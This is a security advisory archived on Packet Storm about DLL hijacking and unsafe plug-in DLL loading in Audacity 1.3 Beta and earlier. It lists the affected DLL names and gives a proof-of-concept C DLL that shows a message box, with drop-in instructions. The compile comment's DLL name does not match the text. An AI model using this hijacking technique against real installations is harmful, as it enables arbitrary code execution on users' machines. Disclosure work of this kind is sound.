what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Audacity 1.3 Beta DLL Hijacking

Audacity 1.3 Beta DLL Hijacking
Posted Nov 1, 2010
Authored by Salvatore Fresta

Audacity versions 1.3 Beta and below suffer from a DLL hijacking vulnerability.

tags | exploit
SHA-256 | c76de81a128e088f9523987dbb4adca911014333dd6457c2c5be5ce1c0f137be

Audacity 1.3 Beta DLL Hijacking

Change Mirror Download
Audacity <= 1.3 Beta Multiple Local Vulnerabilities

Name Audacity
Vendor http://audacity.sourceforge.net
Versions Affected <= 1.3 Beta

Author Salvatore Fresta aka Drosophila
Website http://www.salvatorefresta.net
Contact salvatorefresta [at] gmail [dot] com
Date 2010-10-29

X. INDEX

I. ABOUT THE APPLICATION
II. DESCRIPTION
III. ANALYSIS
IV. SAMPLE CODE
V. FIX


I. ABOUT THE APPLICATION
________________________

Audacity is free, open source software for recording and
editing sounds.


II. DESCRIPTION
_______________

The vulnerabilities are caused due to the application
loading libraries in an insecure manner.

I tested the versions 1.2.6 (stable) and the 1.3 Beta.

Other versions could be vulnerable.


III. ANALYSIS
_____________

Summary:

A) Unsafe DLL Loading
B) DLL Hijacking


A) Unsafe DLL Loading
_____________________

Audacity tries to load each DLLs present in the Plug-Ins
directory without specifing any name. This can be
exploited to execute arbitrary code with the privileges
of the current logged user.

I/O on filesystem and socket have been tested correctly.


B) DLL Hijacking
________________

The Audacity's installation folder by defaul t doesn't
contains DLLs files. When it tries to load some DLLs,
first of all, looks at the installation directory and
after in system32 directory.
Due of this is possible to hijack the load operation in
order to load a malicious DLL file with the same name.
The following is the list of affected DLLs:

wintrust.dll
msasn1.dll
msacm32.dll
midimap.dll
wsock32.dll
ws2_32.dll
ws2help.dll
winmm.dll
lpk.dll
usp10.dll
setupapi.dll
crypt32.dll


IV. SAMPLE CODE
_______________

A/B) Unsafe DLL Loading / DLL Hijacking


The following is the sample code (evil.c) for
wintrust.dll:

// compile: gcc -shared -o psapi.dll evil.c

#include <windows.h>

BOOL WINAPI DllMain (HANDLE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{

MessageBox(0, "DLL Hijacking!", "Salvatore Fresta", MB_OK);

return TRUE;
}


Just copy it to Plug-Ins directory to exploiting the
first security flaw and into the installation directory
to exploiting the second security flaw.


V. FIX
______

No fix.

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close